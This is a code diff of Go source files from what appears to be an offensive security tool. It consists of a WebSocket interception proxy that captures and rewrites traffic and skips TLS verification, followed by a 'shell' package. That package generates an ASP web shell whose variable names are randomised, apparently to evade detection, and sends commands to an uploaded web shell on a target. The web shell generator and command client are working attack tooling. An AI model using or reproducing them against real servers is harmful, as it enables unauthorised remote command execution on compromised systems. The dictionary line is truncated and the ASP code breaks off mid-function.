t.DialContext = tc.buildSOCKSDialContext()
}
return t
}
+156
View File
@@ -0,0 +1,156 @@
package proxy
import (
"encoding/binary"
"fmt"
"io"
"net/http"
"strings"
)
// WebSocket opcodes per RFC 6455.
const (
wsOpContinuation = 0x0
wsOpText = 0x1
wsOpBinary = 0x2
wsOpClose = 0x8
wsOpPing = 0x9
wsOpPong = 0xA
)
const wsMaxPayloadSize = 16 << 20 // 16MB sanity limit
// WSFrame represents a single WebSocket frame.
type WSFrame struct {
FIN bool
Opcode byte
Masked bool
Payload []byte
}
// IsControl returns true for close/ping/pong frames.
func (f *WSFrame) IsControl() bool {
return f.Opcode >= wsOpClose
}
// ReadFrame reads a single WebSocket frame from r.
func ReadFrame(r io.Reader) (*WSFrame, error) {
header := make([]byte, 2)
if _, err := io.ReadFull(r, header); err != nil {
return nil, err
}
f := &WSFrame{
FIN: header[0]&0x80 != 0,
Opcode: header[0] & 0x0F,
Masked: header[1]&0x80 != 0,
}
payloadLen := uint64(header[1] & 0x7F)
switch payloadLen {
case 126:
ext := make([]byte, 2)
if _, err := io.ReadFull(r, ext); err != nil {
return nil, err
}
payloadLen = uint64(binary.BigEndian.Uint16(ext))
case 127:
ext := make([]byte, 8)
if _, err := io.ReadFull(r, ext); err != nil {
return nil, err
}
payloadLen = binary.BigEndian.Uint64(ext)
}
if payloadLen > wsMaxPayloadSize {
return nil, fmt.Errorf("websocket frame too large: %d bytes", payloadLen)
}
var maskKey [4]byte
if f.Masked {
if _, err := io.ReadFull(r, maskKey[:]); err != nil {
return nil, err
}
}
f.Payload = make([]byte, payloadLen)
if payloadLen > 0 {
if _, err := io.ReadFull(r, f.Payload); err != nil {
return nil, err
}
}
// Unmask in-place.
if f.Masked {
for i := range f.Payload {
f.Payload[i] ^= maskKey[i%4]
}
}
return f, nil
}
// WriteFrame writes a WebSocket frame to w. If masked is true, a random mask is applied.
func WriteFrame(w io.Writer, f *WSFrame, masked bool) error {
var header [2]byte
if f.FIN {
header[0] |= 0x80
}
header[0] |= f.Opcode & 0x0F
payloadLen := len(f.Payload)
if masked {
header[1] |= 0x80
}
switch {
case payloadLen <= 125:
header[1] |= byte(payloadLen)
if _, err := w.Write(header[:]); err != nil {
return err
}
case payloadLen <= 65535:
header[1] |= 126
if _, err := w.Write(header[:]); err != nil {
return err
}
ext := make([]byte, 2)
binary.BigEndian.PutUint16(ext, uint16(payloadLen))
if _, err := w.Write(ext); err != nil {
return err
}
default:
header[1] |= 127
if _, err := w.Write(header[:]); err != nil {
return err
}
ext := make([]byte, 8)
binary.BigEndian.PutUint64(ext, uint64(payloadLen))
if _, err := w.Write(ext); err != nil {
return err
}
}
if masked {
var maskKey [4]byte
readRand(maskKey[:])
if _, err := w.Write(maskKey[:]); err != nil {
return err
}
masked := make([]byte, payloadLen)
for i, b := range f.Payload {
masked[i] = b ^ maskKey[i%4]
}
_, err := w.Write(masked)
return err
}
_, err := w.Write(f.Payload)
return err
}
// isWebSocketUpgrade checks if an HTTP request is a WebSocket upgrade.
func isWebSocketUpgrade(r *http.Request) bool {
return strings.EqualFold(r.Header.Get("Upgrade"), "websocket") &&
strings.Contains(strings.ToLower(r.Header.Get("Connection")), "upgrade")
}
+386
View File
@@ -0,0 +1,386 @@
package proxy
import (
"bufio"
"bytes"
"context"
"crypto/rand"
"crypto/tls"
"encoding/base64"
"errors"
"fmt"
"io"
"net"
"net/http"
"net/http/httputil"
"strings"
"sync"
"sync/atomic"
"time"
)
// ManipulateWSState is the lifecycle state of a ManipulateWSSession.
type ManipulateWSState int32
const (
ManipulateWSConnecting ManipulateWSState = iota
ManipulateWSOpen
ManipulateWSClosed
)
// ManipulateWSFrameCallback is invoked once per complete incoming message.
// Sent frames are reported via the same callback so the UI can render a
// unified transcript.
type ManipulateWSFrameCallback func(direction string, opcode byte, payload []byte, ts time.Time)
// ManipulateWSCloseCallback is invoked exactly once when the session closes,
// either due to remote close, read error, or a call to Close.
type ManipulateWSCloseCallback func(reason string)
// ManipulateWSSession is a client-initiated WebSocket connection whose raw
// upgrade handshake was authored by the user. Frames are sent on demand via
// Send; incoming frames are reassembled across continuations and delivered
// via the session's onFrame callback.
type ManipulateWSSession struct {
ID string
URL string
createdAt time.Time
conn net.Conn
state atomic.Int32
writeMu sync.Mutex
onFrame ManipulateWSFrameCallback
onClose ManipulateWSCloseCallback
closeOnce sync.Once
closeErr error
}
// State returns the current lifecycle state.
func (s *ManipulateWSSession) State() ManipulateWSState {
return ManipulateWSState(s.state.Load())
}
// ManipulateWSManager tracks active user-driven WS sessions.
type ManipulateWSManager struct {
mu sync.RWMutex
sessions map[string]*ManipulateWSSession
transport *TransportConfig
}
// NewManipulateWSManager returns a manager. transport may be nil, in which
// case plain net.Dial / tls.Dial are used.
func NewManipulateWSManager(transport *TransportConfig) *ManipulateWSManager {
return &ManipulateWSManager{
sessions: make(map[string]*ManipulateWSSession),
transport: transport,
}
}
// Get returns a session by ID or nil.
func (m *ManipulateWSManager) Get(id string) *ManipulateWSSession {
m.mu.RLock()
defer m.mu.RUnlock()
return m.sessions[id]
}
// Dial opens a WebSocket connection to host using the exact rawUpgrade bytes
// supplied by the user (with a best-effort Sec-WebSocket-Key fill-in if the
// header is missing). It returns the session (open and reading in the
// background), the raw upgrade response bytes, and an error.
//
// On non-101 response, the error is non-nil but rawResp is still populated so
// the caller can show the server's rejection in the UI.
func (m *ManipulateWSManager) Dial(
rawUpgrade []byte,
scheme, host string,
onFrame ManipulateWSFrameCallback,
onClose ManipulateWSCloseCallback,
) (*ManipulateWSSession, []byte, error) {
scheme = strings.ToLower(scheme)
if scheme != "ws" && scheme != "wss" {
return nil, nil, fmt.Errorf("invalid scheme %q (want ws or wss)", scheme)
}
if host == "" {
return nil, nil, errors.New("host is required")
}
if !hasPort(host) {
if scheme == "wss" {
host = net.JoinHostPort(host, "443")
} else {
host = net.JoinHostPort(host, "80")
}
}
rawUpgrade = ensureWebSocketKey(rawUpgrade)
conn, err := m.dialConn(scheme, host)
if err != nil {
return nil, nil, fmt.Errorf("dial: %w", err)
}
if _, err := conn.Write(rawUpgrade); err != nil {
conn.Close()
return nil, nil, fmt.Errorf("write upgrade: %w", err)
}
br := bufio.NewReader(conn)
resp, err := http.ReadResponse(br, nil)
if err != nil {
conn.Close()
return nil, nil, fmt.Errorf("read upgrade response: %w", err)
}
rawResp, _ := httputil.DumpResponse(resp, true)
resp.Body.Close()
if resp.StatusCode != http.StatusSwitchingProtocols {
conn.Close()
return nil, rawResp, fmt.Errorf("upgrade failed: %s", resp.Status)
}
sess := &ManipulateWSSession{
ID: GenerateID(),
URL: scheme + "://" + host + requestTarget(rawUpgrade),
createdAt: time.Now(),
conn: conn,
onFrame: onFrame,
onClose: onClose,
}
sess.state.Store(int32(ManipulateWSOpen))
m.mu.Lock()
m.sessions[sess.ID] = sess
m.mu.Unlock()
go m.readLoop(sess, br)
return sess, rawResp, nil
}
// Send writes a single FIN data/control frame with the given opcode and
// payload. The client side always masks outgoing frames. The sent frame is
// also dispatched to the session's onFrame callback so the UI transcript is
// updated consistently.
func (m *ManipulateWSManager) Send(id string, opcode byte, payload []byte) error {
sess := m.Get(id)
if sess == nil {
return fmt.Errorf("unknown session %s", id)
}
if sess.State() != ManipulateWSOpen {
return errors.New("session not open")
}
if len(payload) > wsMaxPayloadSize {
return fmt.Errorf("payload too large: %d bytes", len(payload))
}
frame := &WSFrame{FIN: true, Opcode: opcode & 0x0F, Payload: payload}
sess.writeMu.Lock()
err := WriteFrame(sess.conn, frame, true)
sess.writeMu.Unlock()
if err != nil {
return err
}
if sess.onFrame != nil {
sess.onFrame("sent", frame.Opcode, append([]byte(nil), payload...), time.Now())
}
return nil
}
// Close sends a close frame (if still open) and tears down the session.
// Repeated calls are safe.
func (m *ManipulateWSManager) Close(id, reason string) error {
sess := m.Get(id)
if sess == nil {
return nil
}
sess.closeOnce.Do(func() {
if sess.state.Swap(int32(ManipulateWSClosed)) == int32(ManipulateWSOpen) {
sess.writeMu.Lock()
WriteFrame(sess.conn, &WSFrame{FIN: true, Opcode: wsOpClose}, true) //nolint:errcheck
sess.writeMu.Unlock()
}
sess.conn.Close()
m.mu.Lock()
delete(m.sessions, sess.ID)
m.mu.Unlock()
if sess.onClose != nil {
sess.onClose(reason)
}
})
return nil
}
// readLoop reassembles incoming frames and dispatches complete messages
// through onFrame. Control frames are delivered immediately. On any read
// error or a close frame, the session is torn down.
func (m *ManipulateWSManager) readLoop(sess *ManipulateWSSession, br *bufio.Reader) {
var msgBuf []byte
var msgOpcode byte
for {
frame, err := ReadFrame(br)
if err != nil {
reason := err.Error()
if errors.Is(err, io.EOF) {
reason = "eof"
}
m.Close(sess.ID, reason)
return
}
if frame.IsControl() {
if sess.onFrame != nil {
sess.onFrame("received", frame.Opcode, append([]byte(nil), frame.Payload...), time.Now())
}
if frame.Opcode == wsOpClose {
m.Close(sess.ID, "peer closed")
return
}
// Respond to ping with a pong.
if frame.Opcode == wsOpPing {
pong := &WSFrame{FIN: true, Opcode: wsOpPong, Payload: frame.Payload}
sess.writeMu.Lock()
WriteFrame(sess.conn, pong, true) //nolint:errcheck
sess.writeMu.Unlock()
}
continue
}
if frame.Opcode != wsOpContinuation {
msgOpcode = frame.Opcode
msgBuf = append(msgBuf[:0], frame.Payload...)
} else {
msgBuf = append(msgBuf, frame.Payload...)
}
if !frame.FIN {
continue
}
if sess.onFrame != nil {
sess.onFrame("received", msgOpcode, append([]byte(nil), msgBuf...), time.Now())
}
msgBuf = msgBuf[:0]
}
}
// dialConn opens a TCP or TLS connection to host, honoring the SOCKS
// configuration on the transport if one is present.
func (m *ManipulateWSManager) dialConn(scheme, host string) (net.Conn, error) {
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
var raw net.Conn
var err error
if m.transport != nil {
if dialCtx := m.transport.SOCKSDialContext(); dialCtx != nil {
raw, err = dialCtx(ctx, "tcp", host)
}
}
if raw == nil && err == nil {
raw, err = net.DialTimeout("tcp", host, 10*time.Second)
}
if err != nil {
return nil, err
}
if scheme != "wss" {
return raw, nil
}
serverName, _, _ := net.SplitHostPort(host)
tlsConn := tls.Client(raw, &tls.Config{
ServerName: serverName,
InsecureSkipVerify: true, //nolint:gosec
})
if err := tlsConn.Handshake(); err != nil {
raw.Close()
return nil, fmt.Errorf("tls handshake: %w", err)
}
return tlsConn, nil
}
// ensureWebSocketKey inserts a random Sec-WebSocket-Key header if one is not
// already present in the raw upgrade bytes.
func ensureWebSocketKey(raw []byte) []byte {
headers, rest, ok := bytes.Cut(raw, []byte("\r\n\r\n"))
if !ok {
return raw
}
if bytes.Contains(bytes.ToLower(headers), []byte("sec-websocket-key:")) {
return raw
}
keyBytes := make([]byte, 16)
if _, err := rand.Read(keyBytes); err != nil {
return raw
}
hdr := "\r\nSec-WebSocket-Key: " + base64.StdEncoding.EncodeToString(keyBytes)
out := make([]byte, 0, len(raw)+len(hdr)+4)
out = append(out, headers...)
out = append(out, hdr...)
out = append(out, "\r\n\r\n"...)
out = append(out, rest...)
return out
}
// requestTarget extracts the path+query from the first line of a raw HTTP
// request, returning "/" on failure.
func requestTarget(raw []byte) string {
firstLine, _, _ := bytes.Cut(raw, []byte("\r\n"))
parts := bytes.Fields(firstLine)
if len(parts) < 2 {
return "/"
}
return string(parts[1])
}
// hasPort reports whether host already includes a ":port" suffix.
func hasPort(host string) bool {
_, _, err := net.SplitHostPort(host)
return err == nil
}
// OpcodeName maps a WS opcode to its wire name for JSON payloads.
func OpcodeName(op byte) string {
switch op & 0x0F {
case wsOpContinuation:
return "continuation"
case wsOpText:
return "text"
case wsOpBinary:
return "binary"
case wsOpClose:
return "close"
case wsOpPing:
return "ping"
case wsOpPong:
return "pong"
}
return fmt.Sprintf("opcode-%x", op&0x0F)
}
// OpcodeFromName is the inverse of OpcodeName. Returns (0, false) if unknown.
func OpcodeFromName(name string) (byte, bool) {
switch strings.ToLower(name) {
case "text":
return wsOpText, true
case "binary":
return wsOpBinary, true
case "ping":
return wsOpPing, true
case "pong":
return wsOpPong, true
case "close":
return wsOpClose, true
case "continuation":
return wsOpContinuation, true
}
return 0, false
}
+304
View File
@@ -0,0 +1,304 @@
package proxy
import (
"bufio"
"context"
"crypto/tls"
"fmt"
"io"
"net"
"net/http"
"net/http/httputil"
"sync"
"time"
)
// CapturedWSMessage holds a captured WebSocket message.
type CapturedWSMessage struct {
ID string `json:"id"`
ConnectionID string `json:"connectionId"`
Timestamp time.Time `json:"timestamp"`
Direction string `json:"direction"` // "client_to_server" or "server_to_client"
Opcode byte `json:"opcode"`
PayloadLength int `json:"payloadLength"`
Payload string `json:"payload"` // base64 for binary, raw for text
Host string `json:"host"`
URL string `json:"url"`
IsText bool `json:"isText"`
}
// handleWSUpgradeHTTP handles WebSocket upgrades for plain HTTP proxy requests.
func (h *Handler) handleWSUpgradeHTTP(w http.ResponseWriter, r *http.Request, id string) {
hijacker, ok := w.(http.Hijacker)
if !ok {
http.Error(w, "hijacking not supported", http.StatusInternalServerError)
return
}
// Dial upstream.
host := r.Host
if r.URL.Port() == "" {
host = r.Host + ":80"
}
var upstream net.Conn
var err error
if dialCtx := h.transport.SOCKSDialContext(); dialCtx != nil {
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
upstream, err = dialCtx(ctx, "tcp", host)
} else {
upstream, err = net.DialTimeout("tcp", host, 10*time.Second)
}
if err != nil {
http.Error(w, "upstream dial error: "+err.Error(), http.StatusBadGateway)
return
}
// Write the upgrade request to upstream.
raw, _ := httputil.DumpRequest(r, true)
if _, err := upstream.Write(raw); err != nil {
upstream.Close()
http.Error(w, "upstream write error", http.StatusBadGateway)
return
}
// Read upstream response.
upstreamReader := bufio.NewReader(upstream)
resp, err := http.ReadResponse(upstreamReader, r)
if err != nil {
upstream.Close()
http.Error(w, "upstream response error", http.StatusBadGateway)
return
}
if resp.StatusCode != http.StatusSwitchingProtocols {
resp.Write(w) //nolint:errcheck
resp.Body.Close()
upstream.Close()
return
}
// Hijack client connection.
clientConn, clientBuf, err := hijacker.Hijack()
if err != nil {
resp.Body.Close()
upstream.Close()
return
}
resp.Body.Close()
// Write 101 response to client.
respRaw, _ := httputil.DumpResponse(resp, false)
clientBuf.Write(respRaw) //nolint:errcheck
clientBuf.Flush() //nolint:errcheck
// Capture the upgrade request in HTTP store.
start := timeNow()
captured := &CapturedRequest{
ID: id,
Timestamp: start,
Method: r.Method,
URL: r.URL.String(),
Host: r.Host,
StatusCode: resp.StatusCode,
Duration: 0,
ResponseSize: len(respRaw),
ReqRaw: raw,
RespRaw: respRaw,
}
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
connID := GenerateID()
h.wsRelay(connID, r.Host, r.URL.String(), clientConn, upstream, clientBuf.Reader)
}
// handleWSUpgradeMITM handles WebSocket upgrades detected within the MITM TLS loop.
func (h *Handler) handleWSUpgradeMITM(tlsConn net.Conn, req *http.Request, hostname string) {
// Dial upstream with TLS.
host := hostname + ":443"
var rawUpstream net.Conn
var err error
if dialCtx := h.transport.SOCKSDialContext(); dialCtx != nil {
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
rawUpstream, err = dialCtx(ctx, "tcp", host)
} else {
rawUpstream, err = net.DialTimeout("tcp", host, 10*time.Second)
}
if err != nil {
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream dial error: "+err.Error())
return
}
upstream := tls.Client(rawUpstream, &tls.Config{
ServerName: hostname,
InsecureSkipVerify: true, //nolint:gosec
})
if err := upstream.Handshake(); err != nil {
rawUpstream.Close()
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream TLS error: "+err.Error())
return
}
// Write the upgrade request to upstream.
raw, _ := httputil.DumpRequest(req, true)
if _, err := upstream.Write(raw); err != nil {
upstream.Close()
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream write error")
return
}
// Read upstream response.
upstreamReader := bufio.NewReader(upstream)
resp, err := http.ReadResponse(upstreamReader, req)
if err != nil {
upstream.Close()
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream response error")
return
}
if resp.StatusCode != http.StatusSwitchingProtocols {
resp.Write(tlsConn) //nolint:errcheck
resp.Body.Close()
upstream.Close()
return
}
resp.Body.Close()
// Write 101 response to client.
respRaw, _ := httputil.DumpResponse(resp, false)
tlsConn.Write(respRaw) //nolint:errcheck
// Capture the upgrade request in HTTP store.
id := GenerateID()
start := timeNow()
captured := &CapturedRequest{
ID: id,
Timestamp: start,
Method: req.Method,
URL: req.URL.String(),
Host: hostname,
StatusCode: resp.StatusCode,
Duration: 0,
ResponseSize: len(respRaw),
ReqRaw: raw,
RespRaw: respRaw,
}
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
connID := GenerateID()
h.wsRelay(connID, hostname, req.URL.String(), tlsConn, upstream, nil)
}
// wsRelay relays WebSocket frames bidirectionally between client and upstream.
// clientReader is an optional pre-existing bufio.Reader wrapping clientConn (from hijack).
func (h *Handler) wsRelay(connID, host, urlStr string, clientConn, upstreamConn net.Conn, clientReader *bufio.Reader) {
defer clientConn.Close()
defer upstreamConn.Close()
var clientR io.Reader = clientConn
if clientReader != nil {
clientR = clientReader
}
upstreamR := bufio.NewReader(upstreamConn)
var wg sync.WaitGroup
wg.Add(2)
// client → server
go func() {
defer wg.Done()
h.relayFrames(connID, host, urlStr, clientR, upstreamConn, "client_to_server", true)
}()
// server → client
go func() {
defer wg.Done()
h.relayFrames(connID, host, urlStr, upstreamR, clientConn, "server_to_client", false)
}()
wg.Wait()
}
// relayFrames reads frames from src and writes them to dst, capturing messages.
// masked indicates whether outgoing frames should be masked (client→server = true).
func (h *Handler) relayFrames(connID, host, urlStr string, src io.Reader, dst net.Conn, direction string, masked bool) {
var msgBuf []byte
var msgOpcode byte
for {
frame, err := ReadFrame(src)
if err != nil {
// Send close frame on read error.
closeFrame := &WSFrame{FIN: true, Opcode: wsOpClose}
WriteFrame(dst, closeFrame, masked) //nolint:errcheck
return
}
// Control frames: forward immediately without match/replace.
if frame.IsControl() {
WriteFrame(dst, frame, masked) //nolint:errcheck
if frame.Opcode == wsOpClose {
return
}
continue
}
// Data frames: accumulate continuation frames until FIN.
if frame.Opcode != wsOpContinuation {
msgOpcode = frame.Opcode
msgBuf = append(msgBuf[:0], frame.Payload...)
} else {
msgBuf = append(msgBuf, frame.Payload...)
}
if !frame.FIN {
continue
}
// Complete message — apply match/replace.
if h.replace != nil {
msgBuf = h.replace.Apply("ws_message", msgBuf)
}
// Capture the message.
isText := msgOpcode == wsOpText
msg := &CapturedWSMessage{
ID: GenerateID(),
ConnectionID: connID,
Timestamp: timeNow(),
Direction: direction,
Opcode: msgOpcode,
PayloadLength: len(msgBuf),
Host: host,
URL: urlStr,
IsText: isText,
}
if isText {
msg.Payload = string(msgBuf)
} else {
msg.Payload = fmt.Sprintf("%x", msgBuf)
}
if h.wsStore != nil {
h.wsStore.Add(msg)
}
h.emit(eventWSMessage(msg))
// Forward as a single frame.
outFrame := &WSFrame{
FIN: true,
Opcode: msgOpcode,
Payload: msgBuf,
}
if err := WriteFrame(dst, outFrame, masked); err != nil {
return
}
msgBuf = msgBuf[:0]
}
}
+73
View File
@@ -0,0 +1,73 @@
package proxy
import (
"strings"
"sync"
)
// WSStore is a thread-safe in-memory ring buffer of captured WebSocket messages.
type WSStore struct {
mu sync.RWMutex
items []*CapturedWSMessage
maxSize int
}
// NewWSStore creates a WSStore with the given max capacity.
func NewWSStore(maxSize int) *WSStore {
if maxSize <= 0 {
maxSize = 10000
}
return &WSStore{
items: make([]*CapturedWSMessage, 0, 256),
maxSize: maxSize,
}
}
// Add appends a message, evicting the oldest if at capacity.
func (s *WSStore) Add(m *CapturedWSMessage) {
s.mu.Lock()
defer s.mu.Unlock()
if len(s.items) >= s.maxSize {
s.items = s.items[1:]
}
s.items = append(s.items, m)
}
// WSMessageFilter holds optional filter criteria.
type WSMessageFilter struct {
Host string
Offset int
Limit int
}
// List returns a filtered, paginated slice along with total count.
func (s *WSStore) List(f WSMessageFilter) ([]*CapturedWSMessage, int) {
s.mu.RLock()
defer s.mu.RUnlock()
var filtered []*CapturedWSMessage
for _, m := range s.items {
if f.Host != "" && !strings.Contains(strings.ToLower(m.Host), strings.ToLower(f.Host)) {
continue
}
filtered = append(filtered, m)
}
total := len(filtered)
if f.Offset >= total {
return []*CapturedWSMessage{}, total
}
end := f.Offset + f.Limit
if f.Limit <= 0 || end > total {
end = total
}
return filtered[f.Offset:end], total
}
// Clear removes all stored messages.
func (s *WSStore) Clear() {
s.mu.Lock()
defer s.mu.Unlock()
s.items = s.items[:0]
}
+13
View File
@@ -0,0 +1,13 @@
package shell
import rand "math/rand/v2"
var dictionary = []string{"abauto", "abayo", "abcess", "ability", "able", "ably", "about", "above", "absorb", "absorbed", "abune", "abused", "acanthad", "accept", "accepted", "accomplish", "accomplishment", "account", "accuse", "acetylized", "achieve", "acres", "act", "acting", "action", "actual", "added", "adjusting", "advantage", "advised", "affiliations", "afraid", "after", "again", "agency", "agepoyo", "ages", "ago", "agruif", "aho", "ahondara", "aiaigasa", "aieee", "aikon", "ailment", "aiming", "ainiku", "aisatsu", "aitsu", "aji", "ajinomoto", "akumabito", "alarm", "alex", "alice", "alit", "all", "allantoidean", "allegatum", "allotting", "allpowerful", "almighty", "almost", "aloes", "alone", "aloud", "alphabet", "already", "although", "always", "am", "amae", "amai", "amazed", "amazingly", "ambushed", "among", "ampul", "an", "anan", "and", "anger", "angrily", "anka", "anne", "annoyances", "annoying", "annunciations", "ano", "another", "answer", "antechoirs", "antepreterit", "antilitter", "any", "anyone", "anything", "ao", "aoiro", "apart", "apo", "apobiotic", "apothegmatical", "appare", "approach", "approaches", "appusuru", "apuri", "arara", "arches", "are", "arere", "argue", "ariari", "arm", "armchair", "armourlike", "around", "arthrodynic", "artist", "aruaru", "arubaito", "as", "asagata", "asagohan", "asahi", "asahiru", "ascaridol", "asenna", "asked", "asking", "asleep", "aspire", "assistant", "at", "atama", "atami", "atatakai", "atchiitte", "atchikaere", "attaatta", "attacks", "attakai", "attercrop", "attracted", "autocratical", "avoid", "avoided", "avoids", "aware", "away", "axe", "babaa", "back", "backwinded", "bad", "bag", "baigaeshi", "baito", "baka", "bakatta", "bakuhatsu", "ball", "ban", "banca", "baribari", "bastage", "bastard", "bawds", "baz", "be", "beam", "bears", "because", "bechabecha", "become", "bed", "bedding", "bedirt", "bedrivelled", "been", "before", "began", "beginning", "beguiled", "begun", "behind", "being", "believe", "believed", "believing", "belly", "belongs", "beloved", "belt", "benchi", "benkyo", "benri", "bescour", "best", "betsuni", "better", "between", "big", "bijin", "bijogaa", "binbin", "bio", "birds", "bishonen", "bit", "bkyuuerebun", "blame", "blaming", "blessedest", "blew", "blind", "blinded", "bliss", "blow", "blowzy", "blue", "blur", "boa", "bodiikon", "boke", "boketto", "bold", "bonkura", "bonresuhamu", "bookmarksgrove", "boor", "born", "boroboro", "boroi", "boss", "bosss", "botebote", "bought", "bound", "boundaries", "bourrasque", "bout", "bouzu", "bow", "box", "brave", "brawny", "break", "breakfasts", "breath", "breathe", "bred", "brehonia", "brick", "bright", "brown", "buds", "buhibuhi", "buhiru", "bum", "buraja", "buranketto", "buruhairu", "burusera", "buruuhatsu", "busaiku", "business", "but", "buta", "butchake", "butebute", "buts", "buzz", "by", "cable", "cajole", "cambridge", "came", "campiness", "can", "candle", "cane", "caned", "cannot", "cap", "capeskin", "car", "career", "case", "cases", "cat", "catch", "caupo", "caves", "certain", "certainly", "cha", "chage", "chairo", "chakkari", "chakku", "challenging", "chances", "change", "chanpuru", "chap", "charachara", "charai", "charge", "charier", "charm", "charms", "chasm", "chatters", "chauchau", "che", "cheek", "chest", "chibi", "chibidebu", "chiito", "chimneys", "chinke", "chintara", "chitose", "chiwawa", "chloritization", "choberiba", "choberigu", "choice", "chon", "choose", "chooses", "chosen", "choshiii", "choshinotteiru", "choshoku", "chottomatte", "chounaikai", "chumps", "chutney", "chuubu", "chuushoku", "cilioscleral", "circumstances", "citee", "civil", "clabbered", "claim", "claims", "cleans", "cling", "clock", "close", "coalesce", "coast", "cold", "coldheartedness", "collection", "colon", "colporteurs", "come", "comes", "coming", "commas", "commentators", "common", "commonplaceness", "company", "compared", "compete", "complete", "completely", "compromise", "con", "conceive", "conceptions", "confound", "connections", "consequences", "consonantia", "consonantised", "contact", "continued", "contract", "contractu", "contravariant", "control", "conversation", "convince", "coo", "copy", "corner", "corticostriate", "could", "couldnt", "counterfeited", "countless", "countries", "country", "cover", "covered", "cozy", "crazy", "create", "created", "creative", "credo", "cried", "cross", "crowded", "crucial", "culiciform", "cummer", "curiosity", "curious", "curse", "cushion", "cut", "cutting", "dabodabo", "daft", "dai", "daijoubu", "dakara", "dame", "damedame", "dameyo", "dandan", "dango", "dantai", "daphnias", "daradara", "dares", "daretoku", "daring", "dark", "darkness", "dasai", "dasee", "dassadasa", "dattara", "datte", "daunroudo", "day", "dead", "dear", "debag", "debt", "debudebu", "decapitator", "decarbonylating", "decided", "deeds", "deeply", "defeat", "definitely", "defo", "delay", "dell", "demo", "demonstrating", "demoralized", "denounce", "denouncing", "densify", "denwa", "depending", "derodero", "dLine truncated
// GenerateRandomString returns a random three-word combination from the dictionary.
func GenerateRandomString() string {
r1 := rand.IntN(len(dictionary))
r2 := rand.IntN(len(dictionary))
r3 := rand.IntN(len(dictionary))
return dictionary[r1] + dictionary[r2] + dictionary[r3]
}
+42
View File
@@ -0,0 +1,42 @@
package shell
import (
"encoding/base64"
"fmt"
"html"
"io"
"net/http"
"strings"
)
// ExecuteCommand sends a command to an uploaded web shell and returns the output.
func ExecuteCommand(target, webShell, authKey, command string, client http.Client) (string, error) {
encodedString := base64.StdEncoding.EncodeToString([]byte(command))
requestTarget := target + webShell + "?key=" + authKey + "&cmd=" + encodedString
resp, err := client.Get(requestTarget)
if err != nil {
return "", fmt.Errorf("request failed: %w", err)
}
defer resp.Body.Close()
bodyBytes, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("reading response: %w", err)
}
bodyString := string(bodyBytes)
lower := strings.ToLower(bodyString)
preStart := strings.Index(lower, "<pre>")
preEnd := strings.Index(lower, "</pre>")
if preStart == -1 || preEnd == -1 || preEnd <= preStart {
return "", fmt.Errorf("unexpected response from web shell")
}
output := html.UnescapeString(bodyString[preStart+len("<pre>") : preEnd])
if output == "" {
return "[no output]", nil
}
return output, nil
}
+383
View File
@@ -0,0 +1,383 @@
package shell
import (
"fmt"
"github.com/hashicorp/go-uuid"
)
// GenerateASP returns the content of an ASP web shell and the authentication key (UUID).
func GenerateASP() (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
b64 := GenerateRandomString()
b64Decode := GenerateRandomString()
b64Decoded := GenerateRandomString()
b64String := GenerateRandomString()
charCounter := GenerateRandomString()
cmo := GenerateRandomString()
command := GenerateRandomString()
dataLength := GenerateRandomString()
getCommandOutput := GenerateRandomString()
groupBegin := GenerateRandomString()
nGroup := GenerateRandomString()
numDataBytes := GenerateRandomString()
objCmdExec := GenerateRandomString()
objShell := GenerateRandomString()
pOut := GenerateRandomString()
sOut := GenerateRandomString()
thisChar := GenerateRandomString()
thisData := GenerateRandomString()
userKey := GenerateRandomString()
userCommand := GenerateRandomString()
content = "<%\n"
content += "Set oScript = Server.CreateObject(\"WSCRIPT.SHELL\")\n"
content += "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")\n"
content += "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")\n"
content += "Function " + getCommandOutput + "(" + command + ")\n"
content += " Dim " + objShell + ", " + objCmdExec + "\n"
content += " Set " + objShell + " = CreateObject(\"WScript.Shell\")\n"
content += "Set " + objCmdExec + " = " + objShell + ".exec(" + command + ")\n"
content += " " + getCommandOutput + " = " + objCmdExec + ".StdOut.ReadAll\n"
content += "End Function\n"
content += "Function " + b64Decode + "(ByVal " + b64String + ")\n"
content += " Const " + b64 + " = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n"
content += " Dim " + dataLength + ", " + sOut + ", " + groupBegin + "\n\n"
content += " " + b64String + " = Replace(" + b64String + ", vbCrLf, \"\")\n"
content += " " + b64String + " = Replace(" + b64String + ", vbTab, \"\")\n"
content += " " + b64String + " = Replace(" + b64String + ", \" \", \"\")\n\n"
content += " " + dataLength + " = Len(" + b64String + ")\n"
content += " If " + dataLength + " Mod 4 <> 0 Then\n"
content += " Err.Raise 1, \"" + b64Decode + "\", \"Unexpected input.\"\n"
content += " Exit Function\n"
content += " End If\n\n\n"
content += " For " + groupBegin + " = 1 To " + dataLength + " Step 4\n"
content += " Dim " + numDataBytes + ", " + charCounter + ", " + thisChar + ", " + thisData + ", " + nGroup + ", " + pOut + "\n"
content += " " + numDataBytes + " = 3\n"
content += " " + nGroup + " = 0\n\n"
content += " For " + charCounter + " = 0 To 3\n\n"
content += " " + thisChar + " = Mid(" + b64String + ", " + groupBegin + " + " + charCounter + ", 1)\n\n"
content += " If " + thisChar + " = \"=\" Then\n"
content += " " + numDataBytes + " = " + numDataBytes + " - 1\n"
content += " " + thisData + " = 0\n"
content += " Else\n"
content += " " + thisData + " = InStr(1, " + b64 + ", " + thisChar + ", vbBinaryCompare) - 1\n"
content += " End If\n"
content += " If " + thisData + " = -1 Then\n"
content += " Err.Raise 2, \"" + b64Decode + "\", \"Unexpected input.\"\n"
content += " Exit Function\n"
content += " End If\n\n"
content += " " + nGroup + "= 64 * " + nGroup + " + " + thisData + "\n"
content += " Next\n\n"
